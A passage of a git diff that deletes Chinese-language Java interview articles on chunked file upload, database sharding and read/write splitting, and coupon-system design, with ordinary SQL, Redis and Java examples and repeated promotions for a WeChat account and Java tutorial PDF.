 String filePath = p + FileConstant.FILE_SEPARATORCHAR + toFileNewName;   -    File newFile = new File(filePath);   -    //修改文件名   -    boolean uploadFlag = toBeRenamed.renameTo(newFile);   -   -    fileUploadDTO.setMtime(DateUtil.getCurrentTimeStamp());   -    fileUploadDTO.setUploadComplete(uploadFlag);   -    fileUploadDTO.setPath(filePath);   -    fileUploadDTO.setSize(newFile.length());   -    fileUploadDTO.setFileExt(ext);   -    fileUploadDTO.setFileId(toFileNewName);   -   -    return fileUploadDTO;   -  }   -}   -``` - -## 总结 - -在实现分片上传的过程,需要前端和后端配合,比如前后端上传块号的文件大小,前后端必须得要一致,否则上传就会有问题。其次文件相关操作正常都是要搭建一个文件服务器的,比如使用 fastdfs、hdfs 等。 - -本示例代码在电脑配置为 4 核内存 8G 情况下,上传 24G 大小的文件,上传时间需要 30 多分钟,主要时间耗费在前端的 md5 值计算,后端写入的速度还是比较快。 - -如果项目组觉得自建文件服务器太花费时间,且项目的需求仅仅只是上传下载,那么推荐使用阿里的 oss 服务器,其介绍可以查看官网: - -[https://help.aliyun.com/product/31815.html](https://help.aliyun.com/product/31815.html) - -阿里的 oss 它本质是一个对象存储服务器,而非文件服务器,因此如果有涉及到大量删除或者修改文件的需求,oss 可能就不是一个好的选择。 - -文末提供一个 oss 表单上传的链接 demo,通过 oss 表单上传,可以直接从前端把文件上传到 oss 服务器,把上传的压力都推给 oss 服务器: - -[https://www.cnblogs.com/ossteam/p/4942227.html](https://www.cnblogs.com/ossteam/p/4942227.html) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/interview/mianshiguan-fenkufenbiao.md b/docs/src/interview/mianshiguan-fenkufenbiao.md deleted file mode 100644 index 30083d771f..0000000000 --- a/docs/src/interview/mianshiguan-fenkufenbiao.md +++ /dev/null @@ -1,322 +0,0 @@ ---- -title: 阿里面试官:为什么要分库分表? -shortTitle: 为什么要分库分表? -author: 苏三呀 -category: - - 求职面试 -tag: - - 面试题&八股文 -head: - - - meta - - name: keywords - content: Java,java,面试题,八股文 ---- - -## 前言 - -在高并发系统当中,分库分表是必不可少的技术手段之一,同时也是BAT等大厂面试时,经常考的热门考题。 - -你知道我们为什么要做分库分表吗? - -这个问题要从两条线说起:`垂直方向` 和 `水平方向`。 - -## 1 垂直方向 - -`垂直方向`主要针对的是`业务`,下面聊聊业务的发展跟分库分表有什么关系。 - -### 1.1 单库 - -在系统初期,业务功能相对来说比较简单,系统模块较少。 - -为了快速满足迭代需求,减少一些不必要的依赖。更重要的是减少系统的复杂度,保证开发速度,我们通常会使用`单库`来保存数据。 - -系统初期的数据库架构如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-965dbc52-1fad-4cf7-a6fc-f04ff445101f.jpg) - -此时,使用的数据库方案是:`一个数据库`包含`多张业务表`。用户读数据请求和写数据请求,都是操作的同一个数据库。 - -### 1.2 分表 - -系统上线之后,随着业务的发展,不断的添加新功能。导致单表中的字段越来越多,开始变得有点不太好维护了。 - -一个用户表就包含了几十甚至上百个字段,管理起来有点混乱。 - -这时候该怎么办呢? - -答:`分表`。 - -将`用户表`拆分为:`用户基本信息表` 和 `用户扩展表`。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-32cbe5e1-b88b-4125-b990-8f901467fbb2.jpg) - -用户基本信息表中存的是用户最主要的信息,比如:用户名、密码、别名、手机号、邮箱、年龄、性别等核心数据。 - -这些信息跟用户息息相关,查询的频次非常高。 - -而用户扩展表中存的是用户的扩展信息,比如:所属单位、户口所在地、所在城市等等,非核心数据。 - -这些信息只有在特定的业务场景才需要查询,而绝大数业务场景是不需要的。 - -所以通过分表把核心数据和非核心数据分开,让表的结构更清晰,职责更单一,更便于维护。 - -除了按实际业务分表之外,我们还有一个常用的分表原则是:把调用频次高的放在一张表,调用频次低的放在另一张表。 - -有个非常经典的例子就是:订单表和订单详情表。 - -### 1.3 分库 - -不知不觉,系统已经上线了一年多的时间了。经历了N个迭代的需求开发,功能已经非常完善。 - -系统功能完善,意味着系统各种关联关系,错综复杂。 - -此时,如果不赶快梳理业务逻辑,后面会带来很多隐藏问题,会把自己坑死。 - -这就需要按业务功能,划分不同领域了。把相同领域的表放到同一个数据库,不同领域的表,放在另外的数据库。 - -具体拆分过程如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-9cab165b-f2e0-4c80-9bd1-cc272a78429c.jpg) - -将用户、产品、物流、订单相关的表,从原来一个数据库中,拆分成单独的用户库、产品库、物流库和订单库,一共四个数据库。 - -> 在这里为了看起来更直观,每个库我只画了一张表,实际场景可能有多张表。 - -这样按领域拆分之后,每个领域只用关注自己相关的表,职责更单一了,一下子变得更好维护了。 - -### 1.4 分库分表 - -有时候按业务,只分库,或者只分表是不够的。比如:有些财务系统,需要按月份和年份汇总,所有用户的资金。 - -这就需要做:`分库分表`了。 - -每年都有个单独的数据库,每个数据库中,都有12张表,每张表存储一个月的用户资金数据。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-38434e50-9dce-467f-a036-e75038d9f3f6.jpg) - -这样分库分表之后,就能非常高效的查询出某个用户每个月,或者每年的资金了。 - -此外,还有些比较特殊的需求,比如需要按照地域分库,比如:华中、华北、华南等区,每个区都有一个单独的数据库。 - -甚至有些游戏平台,按接入的游戏厂商来做分库分表。 - -## 2 水平方向 - -`水分方向`主要针对的是`数据`,下面聊聊数据跟分库分表又有什么关系。 - -### 2.1 单库 - -在系统初期,由于用户非常少,所以系统并发量很小。并且存在表中的数据量也非常少。 - -这时的数据库架构如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-965dbc52-1fad-4cf7-a6fc-f04ff445101f.jpg) - -此时,使用的数据库方案同样是:`一个master数据库`包含`多张业务表`。 - -用户读数据请求和写数据请求,都是操作的同一个数据库,该方案比较适合于并发量很低的业务场景。 - -### 2.2 主从读写分离 - -系统上线一段时间后,用户数量增加了。 - -此时,你会发现用户的请求当中,读数据的请求占据了大部分,真正写数据的请求占比很少。 - -众所周知,`数据库连接是有限的`,它是非常宝贵的资源。而每次数据库的读或写请求,都需要占用至少一个数据库连接。 - -如果写数据请求需要的数据库连接,被读数据请求占用完了,不就写不了数据了? - -这样问题就严重了。 - -为了解决该问题,我们需要把`读库`和`写库`分开。 - -于是,就出现了主从读写分离架构: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-e56c2d22-9aa2-4502-8d2a-f4416ce20db9.jpg) - -考虑刚开始用户量还没那么大,选择的是`一主一从`的架构,也就是常说的一个master一个slave。 - -所有的写数据请求,都指向主库。一旦主库写完数据之后,立马异步同步给从库。这样所有的读数据请求,就能及时从从库中获取到数据了(除非网络有延迟)。 - -读写分离方案可以解决上面提到的单节点问题,相对于单库的方案,能够更好的保证系统的稳定性。 - -因为如果主库挂了,可以升级从库为主库,将所有读写请求都指向新主库,系统又能正常运行了。 - -> 读写分离方案其实也是分库的一种,它相对于为数据做了备份,它已经成为了系统初期的首先方案。 - -但这里有个问题就是:如果用户量确实有些大,如果master挂了,升级slave为master,将所有读写请求都指向新master。 - -但此时,如果这个新master根本扛不住所有的读写请求,该怎么办? - -这就需要`一主多从`的架构了: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-1fc49e99-76ac-4aea-8c3d-e438de2cdd1c.jpg) - -上图中我列的是`一主两从`,如果master挂了,可以选择从库1或从库2中的一个,升级为新master。假如我们在这里升级从库1为新master,则原来的从库2就变成了新master的的slave了。 - -调整之后的架构图如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-bbf8495d-2338-4bcf-b8e3-cebaea4fac29.jpg) - -这样就能解决上面的问题了。 - -除此之外,如果查询请求量再增大,我们还可以将架构升级为一主三从、一主四从...一主N从等。 - -### 2.3 分库 - -上面的读写分离方案确实可以解决读请求大于写请求时,导致master节点扛不住的问题。但如果某个领域,比如:用户库。如果注册用户的请求量非常大,即写请求本身的请求量就很大,一个master库根本无法承受住这么大的压力。 - -这时该怎么办呢? - -答:建立多个用户库。 - -用户库的拆分过程如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-f2354590-0161-45e7-afb7-4ad07a3763fb.jpg) - -在这里我将用户库拆分成了三个库(真实场景不一定是这样的),每个库的表结构是一模一样的,只有存储的数据不一样。 - - - -### 2.4 分表 - -用户请求量上来了,带来的势必是数据量的成本上升。即使做了分库,但有可能单个库,比如:用户库,出现了5000万的数据。 - -根据经验值,单表的数据量应该尽量控制在1000万以内,性能是最佳的。如果有几千万级的数据量,用单表来存,性能会变得很差。 - -如果数据量太大了,需要建立的索引也会很大,从小到大检索一次数据,会非常耗时,而且非常消耗cpu资源。 - -这时该怎么办呢? - -答:`分表`,这样可以控制每张表的数据量,和索引大小。 - -表拆分过程如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-8830dc2f-b088-4190-bc9a-a19bf55de99b.jpg) - -我在这里将用户库中的用户表,拆分成了四张表(真实场景不一定是这样的),每张表的表结构是一模一样的,只是存储的数据不一样。 - -如果以后用户数据量越来越大,只需再多分几张用户表即可。 - -### 2.5 分库分表 - -当系统发展到一定的阶段,用户并发量大,而且需要存储的数据量也很多。这时该怎么办呢? - -答:需要做`分库分表`。 - -如下图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-1cfacfbf-283a-4415-91da-c0c2616c2f0a.jpg) - -图中将用户库拆分成了三个库,每个库都包含了四张用户表。 - -如果有用户请求过来的时候,先根据用户id路由到其中一个用户库,然后再定位到某张表。 - -路由的算法挺多的: - -* `根据id取模`,比如:id=7,有4张表,则7%4=3,模为3,路由到用户表3。 -* `给id指定一个区间范围`,比如:id的值是0-10万,则数据存在用户表0,id的值是10-20万,则数据存在用户表1。 -* `一致性hash算法` - -这篇文章就不过多介绍了,后面会有文章专门介绍这些路由算法的。 - -## 3 真实案例 - -接下来,废话不多说,给大家分享三个我参与过的分库分表项目经历,给有需要的朋友一个参考。 - -### 3.1 分库 - -我之前待过一家公司,我们团队是做游戏运营的,我们公司提供平台,游戏厂商接入我们平台,推广他们的游戏。 - -游戏玩家通过我们平台登录,成功之后跳转到游戏厂商的指定游戏页面,该玩家就能正常玩游戏了,还可以充值游戏币。 - -这就需要建立我们的账号体系和游戏厂商的账号的映射关系,游戏玩家通过登录我们平台的游戏账号,成功之后转换成游戏厂商自己平台的账号。 - -这里有两个问题: - -1. 每个游戏厂商的接入方式可能都不一样,账号体系映射关系也有差异。 -2. 用户都从我们平台登录,成功之后跳转到游戏厂商的游戏页面。当时有N个游戏厂商接入了,活跃的游戏玩家比较多,登录接口的并发量不容小觑。 - -为了解决这两个问题,我们当时采用的方案是:`分库`。即针对每一个游戏都单独建一个数据库,数据库中的表结构允许存在差异。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-f9f55b53-0465-48d1-9715-241129fe7833.jpg) - -我们当时没有进一步分表,是因为当时考虑每种游戏的用户量,还没到大到离谱的地步。不像王者荣耀这种现象级的游戏,有上亿的玩家。 - -其中有个比较关键的地方是:登录接口中需要传入游戏id字段,通过该字段,系统就知道要操作哪个库,因为库名中就包含了游戏id的信息。 - -### 3.2 分表 - -还是在那家游戏平台公司,我们还有另外一个业务就是:`金钻会员`。 - -说白了就是打造了一套跟游戏相关的会员体系,为了保持用户的活跃度,开通会员有很多福利,比如:送游戏币、充值有折扣、积分兑换、抽奖、专属客服等等。 - -在这套会员体系当中,有个非常重要的功能就是:`积分`。 - -用户有很多种途径可以获取积分,比如:签到、充值、玩游戏、抽奖、推广、参加活动等等。 - -积分用什么用途呢? - -1. 退换实物礼物 -2. 兑换游戏币 -3. 抽奖 - -说了这么多,其实就是想说,一个用户一天当中,获取积分或消费积分都可能有很多次,那么,一个用户一天就可能会产生几十条记录。 - -如果用户多了的话,积分相关的数据量其实挺惊人的。 - -我们当时考虑了,水平方向的数据量可能会很大,但是用户并发量并不大,不像登录接口那样。 - -所以采用的方案是:`分表`。 - -当时使用一个积分数据库就够了,但是分了128张表。然后根据用户id,进行hash除以128取模。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-884b58a4-3009-4056-904d-cd235db41aa6.jpg) - -> 需要特别注意的是,分表的数量最好是2的幂次方,方便以后扩容。 - -### 3.3 分库分表 - -后来我去了一家从事餐饮软件开发的公司。这个公司有个特点是在每天的中午和晚上的就餐高峰期,用户的并发量很大。 - -用户吃饭前需要通过我们系统点餐,然后下单,然后结账。当时点餐和下单的并发量挺大的。 - -餐厅可能会有很多人,每个人都可能下多个订单。这样就会导致用户的并发量高,并且数据量也很大。 - -所以,综合考虑了一下,当时我们采用的技术方案是:`分库分表`。 - -经过调研之后,觉得使用了当当网开源的基于jdbc的中间件框架:`sharding-jdbc`。 - -当时分了4个库,每个库有32张表。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-alemwsyyfkfb-ed3d9006-7dd5-4f90-a566-8874020df4ea.jpg) - -## 4 总结 - -上面主要从:垂直和水平,两个方向介绍了我们的系统为什么要分库分表。 - -说实话垂直方向(即业务方向)更简单。 - -在水平方向(即数据方向)上,`分库`和`分表`的作用,其实是有区别的,不能混为一谈。 - -* `分库`:是为了解决数据库连接资源不足问题,和磁盘IO的性能瓶颈问题。 -* `分表`:是为了解决单表数据量太大,sql语句查询数据时,即使走了索引也非常耗时问题。此外还可以解决消耗cpu资源问题。 -* `分库分表`:可以解决 数据库连接资源不足、磁盘IO的性能瓶颈、检索数据耗时 和 消耗cpu资源等问题。 - -如果在有些业务场景中,用户并发量很大,但是需要保存的数据量很少,这时可以只分库,不分表。 - -如果在有些业务场景中,用户并发量不大,但是需要保存的数量很多,这时可以只分表,不分库。 - -如果在有些业务场景中,用户并发量大,并且需要保存的数量也很多时,可以分库分表。 - - ->转载链接:[https://mp.weixin.qq.com/s/klkD8xea0gQ96Mh1Q1MHLw](https://mp.weixin.qq.com/s/klkD8xea0gQ96Mh1Q1MHLw),出处:macrozheng,整理:沉默王二 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/interview/mianshiguan-youhuiquan.md b/docs/src/interview/mianshiguan-youhuiquan.md deleted file mode 100644 index f6c189de64..0000000000 --- a/docs/src/interview/mianshiguan-youhuiquan.md +++ /dev/null @@ -1,488 +0,0 @@ ---- -title: 淘宝面试官:优惠券系统该如何设计? -shortTitle: 如何设计优惠券系统? -description: 大厂的优惠券系统是如何设计的? -category: - - 求职面试 -tag: - - 面试题&八股文 -head: - - - meta - - name: keywords - content: Java,java,面试题,八股文,优惠券 ---- - - -## 1 Scenario 场景 - -电商大厂常见促销手段: - -* 优惠券 -* 拼团 -* 砍价 -* 老带新 - -### **1.1 优惠券的种类** - -* 满减券 -* 直减券 -* 折扣券 - -### **1.2 优惠券系统的核心流程** - -#### **1.2.1 发券** - -发券的方式:同步发送 or 异步发送 - -#### **1.2.2 领券** - -* 谁能领? - -所有用户 or 指定的用户 - -* 领取上限 - -一个优惠券最多能领取多少张? - -* 领取方式 - -用户主动领取 or 自动发放被动领取 - -#### **1.2.3 用券** - -* 作用范围 - -商品、商户、类目 - -* 计算方式 - -是否互斥、是否达到门槛等 - -### **1.3 需求拆解** - -#### **1.3.1 商家侧** - -* 创建优惠券 -* 发送优惠券 - -#### **1.3.2 用户侧** - -* 领取优惠券 -* 下单 -* 使用优惠券 -* 支付 - -## **2 Service 服务** - -### **2.1 服务结构设计** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-cdf44a4a-f648-49f0-bebe-686c4a66d2fd.jpg) - -### **2.2 优惠券系统设计技术难点** - -* 券的分布式事务,使用券的过程会出现的分布式问题分析? -* 如何防止超发? -* 如何大批量给用户发券? -* 如何限制券的使用条件? -* 如何防止用户重复领券? - - -## 3 Storage存储 - -### **3.1 表单设计** - -#### **券批次(券模板),coupon\_batch** - -指一批优惠券的抽象、模板,包含优惠券的大部分属性。 - -如商家创建了一批优惠券,共1000张,使用时间为2022-11-11 00:00:00 ~ 2022-11-11 23:59:59,规定只有数码类目商品才能使用,满100减50。 - -#### **券** - -发放到用户的一个实体,已与用户绑定。 - -如将某批次的优惠券中的一张发送给某个用户,此时优惠券属于用户。 - -#### **规则** - -优惠券的使用有规则和条件限制,比如满100减50券,需要达到门槛金额100元才能使用。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-638df6ed-12f8-4a20-8c58-89051bc9376a.jpg) - -**券批次表 coupon\_batch** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-c4d8f639-328b-42b9-94b0-5e15b8eee784.jpg) - -**规则表 rule:** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-b2383938-ffbc-4686-808c-908ab11e4b2b.jpg) - -**规则内容:** - -``` -{ - threshold: 5.01 // 使用门槛 - amount: 5 // 优惠金额 - use_range: 3 // 使用范围,0—全场,1—商家,2—类别,3—商品 - commodity_id: 10 // 商品 id - receive_count: 1 // 每个用户可以领取的数量 - is_mutex: true // 是否互斥,true 表示互斥,false 表示不互斥 - receive_started_at: 2020-11-1 00:08:00 // 领取开始时间 - receive_ended_at: 2020-11-6 00:08:00 // 领取结束时间 - use_started_at: 2020-11-1 00:00:00 // 使用开始时间 - use_ended_at: 2020-11-11 11:59:59 // 使用结束时间 -} -``` - - -**优惠券表 coupon:** - -``` - -create table t_coupon -( - coupon_id int null comment '券ID,主键', - user_id int null comment '用户ID', - batch_id int null comment '批次ID', - status int null comment '0-未使用、1-已使用、2-已过期、3-冻结', - order_id varchar(255) null comment '对应订单ID', - received_time datetime null comment '领取时间', - validat_time datetime null comment '有效日期', - used_time datetime null comment '使用时间' -); -``` - - -### **3.2 建券** - -**1、新建规则** - -``` -INSERT INTO rule (name, type, rule_content) -VALUES(“满减规则”, 0, '{ - threshold: 100 - amount: 10 - ...... - }'); -``` - -**2、新建优惠券批次** - -``` -INSERT INTO coupon\_batch (coupon\_name, rule\_id, total\_count ) -VALUES(“劳斯莱斯5元代金券”, 1010, 10000); -``` - - - - -### **3.3 发券** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-066459b1-1271-468e-9e45-c409b6298144.jpg) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-a448c453-8b50-4af8-a913-bda03a6c6f97.jpg) - -##### **如何给大量用户发券?** - -异步发送! - -##### **触达系统** - -* 短信、邮件 - -可通过调用第三方接口的方式实现 - -* 站内信 - -通过数据库插入记录来实现 - -**信息表 message** - -``` -create table t_message -( - id int null comment '信息ID', - send_id int null comment '发送者id', - rec_id int null comment '接受者id', - content vachar(255) comment '站内信内容', - is_read int null comment '是否已读', - send_time datetime comment '发送时间' -) -comment '信息表'; -``` - -先考虑用户量很少的情况,商家要给所有人发站内信,则先遍历用户表,再按照用户表中的所有用户依次将站内信插入到 message 表中。这样,如果有100个用户,则群发一条站内信要执行100个插入操作。 - -#### **系统用户数增加到w级** - -发一条站内信,就得重复插入上万条数据。而且这上万条数据的 content 一样!假设一条站内信占100K,发一次站内信就要消耗十几M。对此,可将原来的表拆成两个表: - -**信息表 message** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-19c6ce5d-8e83-4552-902d-5d28cd17a7be.jpg) - -**信息内容表 message\_content** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-e04b414f-6b41-4882-8324-208715b52284.jpg) - -#### **发一封站内信的步骤** - -1. 往 message\_content 插入站内信的内容 -2. 在 message 表中,给所有用户插入一条记录,标识有一封站内信 - - -#### **千w级用户数** - -这就有【非活跃用户】的问题,假设注册用户一千万,根据二八原则,其中活跃用户占20%。若采用上面拆成两个表的情况,发一封“站内信”,得执行一千万个插入操作。可能剩下80%用户基本都不会再登录,其实只需对其中20%用户插入数据。 - -**信息表 message:** - -``` -create table t_message -( - id int null comment '信息 ID', - # send_id int null comment '发送者 id', 去除该字段 - rec_id int null comment '接受者 id', - message_id int null comment '外键,信息内容', - is_read int null comment '是否已读' -) - comment '信息表'; -create table t_message_content -( - id int null comment '信息内容id', - send_id int null comment '发送者id', - content varchar(255) null comment '内容', - send_time datetime null comment '发送时间' -); -``` - - - -#### **用户侧操作** - -登录后,首先查询 message\_content 中的那些没有在 message 中有记录的数据,表示是未读的站内信。在查阅站内信的内容时,再将相关的记录插入 message。 - -#### **系统侧操作** - -发站内信时: - -* 只在 message\_content 插入站内信的主体内容 -* message 不插入记录 - -#### **给 10W 用户发券** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-e6134270-a52f-4579-a200-e0c0e4c13c82.jpg) - -有什么问题?重复消费,导致超发! - -1. 运营提供满足条件的用户文件,上传到发券管理后台并选择要发送的优惠券 -2. 管理服务器根据【用户ID】、【券批次ID】生成消息,发送到MQ -3. 优惠券服务器消费消息 - -``` -# 记住使用事务哦! -INSERT INTO coupon (user_id, coupon_id,batch_id) - VALUES(1001, 66889, 1111); - -UPDATE coupon_batch SET total_count = total_count - 1, - assign_count = assign_count + 1 - WHERE batch_id = 1111 AND total_count > 0; -``` - -### **3.4 领券** - -#### 步骤 - -1. 校验优惠券余量 - -``` -SELECT total_count FROM coupon_batch -WHERE batch_id = 1111; -``` - - - -2. 新增优惠券用户表,扣减余量 - -``` -# 注意事务! -INSERT INTO coupon (user_id, coupon_id,batch_id) - VALUES(1001, 66889, 1111); - -UPDATE coupon_batch SET total_count = total_count - 1, - assign_count = assign_count + 1 - WHERE batch_id = 1111 AND total_count > 0; -``` - - - -用户领券过程中,其实也会出现类似秒杀场景。秒杀场景下会有哪些问题,如何解决? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-8367d61b-2a12-4225-9fc2-586a1baac77d.jpg) - -#### **用户重复领取或多领** - -Redis 数据校验! - -1. 领券前,先查缓存 - -``` -# 判断成员元素是否是集合的成员 -``` -``` -SISMEMBER KEY VALUE -SISMEMBER batch_id:1111:user_id 1001 -``` - -2. 领券 -3. 领券后,更新缓存 - -``` -# 将一或多个成员元素加入到集合中,已经存在于集合的成员元素将被忽略 -SADD KEY VALUE1......VALUEN -SADD batch_id:1111:user_id 1001 -``` - -## **3.5 用券** - -何时校验优惠券使用规则? - -1. 确认订单(√) -2. 提交订单 -3. 立即付款 - -确认订单页,对优惠券进行校验: - -* 判断是否过期 -* 判断适用范围 -* 判断是否达到门槛 -* 判断是否互斥 - - -### **返回可用券** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-182ea6b8-4702-4f01-b3dd-f9636815863f.jpg) - -``` -SELECT batch_id FROM coupon WHERE user_id = 1001 AND status = 0; -SELECT rule_id FROM coupon_batch WHERE batch_id = 1111; -SELECT name, type, rule_content FROM rule WHERE rule_id = 1010; -``` - -### 选择可用券,并返回结果 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-3d50a63e-2c1a-413b-9143-f808dcc4e0da.jpg) - -### **同时操作多个服务,如何保证一致性?** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-3b30f2df-fd77-4265-b655-31a82028505e.jpg) - -### **表设计** - -**优惠券操作记录表 Coupon\_opt\_record** - -``` -create table t_coupon_opt_record -( - user_id int null comment '用户id', - coupon_id int null comment '优惠券id', - operating int null comment '操作,0-锁定、1-核销、2-解锁', - operated_at datetime null comment '操作时间' -); -``` - -TCC,Try-Confirm-Cancel,目前分布式事务主流解决方案。 - -1. 阶段一:Try - -对资源进行冻结,预留业务资源 - -创建订单时,将优惠券状态改为 “冻结” - -2. 阶段二:Confirm - -确认执行业务操作,做真正提交,将第一步Try中冻结的资源,真正扣减 - -订单支付成功,将优惠券状态改为 “已使用” - -3. 阶段三:Cancel - -取消执行业务操作,取消Try阶段预留的业务资源 - -支付失败/超时或订单关闭情况,将优惠券状态改为 “未使用” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-c6a77fdf-4f4d-4082-92a7-c2cd11aba686.jpg) - - -## 4 Scale 扩展 - -### **4.1 快过期券提醒** - -#### **定时扫券表** - -缺点:扫描数据量太大,随着历史数据越来越多,会影响线上主业务,最终导致慢SQL。 - -#### **延时消息** - -缺点:有些券的有效时间太长了(30天)以上,有可能造成大量 MQ 积压 - -#### **新增通知表** - -优点:扫描的数据量小,效率高。删除无用的已通知的数据记录 - -##### **通知信息表(notify\_msg)设计** - -``` -create table t_notify_msg -( - id bigint auto_increment comment '自增主键', - coupon_id bigint null comment '券id', - user_id bigint null comment '用户id', - notify_day varchar(255) null comment '需要执行通知的日期', - notify_type int null comment '通知类型,1-过期提醒', - notif_time timestamp null comment '通知的时间,在该时间戳所在天内通知', - status int null comment '通知状态,0-初始状态、1-成功、2-失败', - constraint t_notify_msg_id_uindex - unique (id) -); - -alter table t_notify_msg - add primary key (id); -``` - -**过期券提** - -1. 在创建优惠券的时候就将需要提醒的记录插入提醒表中notify\_msg -2. 把用户ID+批次ID+通知日期作为唯一索引,防止同一个批次有重复的记录通知,保证每天只会被通知一次 -3. 建立notify\_time,通知时间索引,每日的通知扫描通过该索引列查询,通过索引列来提高查询效率 -4. 通知完成后该表中的数据变失去了意义,通过定时任务将该数据删除 - -### **4.2 数据库层面优化 - 索引** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-9e10c3cb-d0af-4b0e-a2f9-3da2fe7e72f1.jpg) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-8df5b954-9e5a-445d-882f-f91616fee662.jpg) - -### **4.3 发券接口,限流保护** - -#### **前端限流** - -点击一次后,按钮短时间内置灰 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-daadyhqjtsrhsjd-d2d8684d-9488-4543-9b2b-8e7559c8e625.jpg) - -#### **后端限流** - -部分请求直接跳转到【繁忙页】 - - ->参考链接:[https://mp.weixin.qq.com/s/r9lgiOwV5cw8XmfCBUTcUA](https://mp.weixin.qq.com/s/r9lgiOwV5cw8XmfCBUTcUA),出处:JavaEdge,整理:沉默王二 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/interview/mysql-60.md b/docs/src/interview/mysql-60.md deleted file mode 100644 index 28ac739a0a..0000000000 --- a/docs/src/interview/mysql-60.md +++ /dev/null @@ -1,636 +0,0 @@ ---- -title: 60 道 MySQL 精选面试题👍 -shortTitle: 60 道 MySQL 精选面试题👍 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,60 道 MySQL 精选面试题👍 -head: - - - meta - - name: keywords - content: MySQL,mysql,面试题,八股文 ---- - - -> 图文详解 60 道 MySQL 面试高频题,这次吊打面试官,我觉得稳了(手动 dog)。整理:沉默王二,戳[转载链接](https://mp.weixin.qq.com/s/c-sy7tM0BmrqMUQFW7C65g),里面有局详细的思维导图;作者:herongwei,戳[原文链接](https://mp.weixin.qq.com/s/-SqqKmhZcOlQxM-rHiIpKg)。 - - -## 基础 - -### 1、关系型和非关系型数据库的区别? - -关系型数据库的优点 - -- 容易理解,因为它采用了关系模型来组织数据。 -- 可以保持数据的一致性。 -- 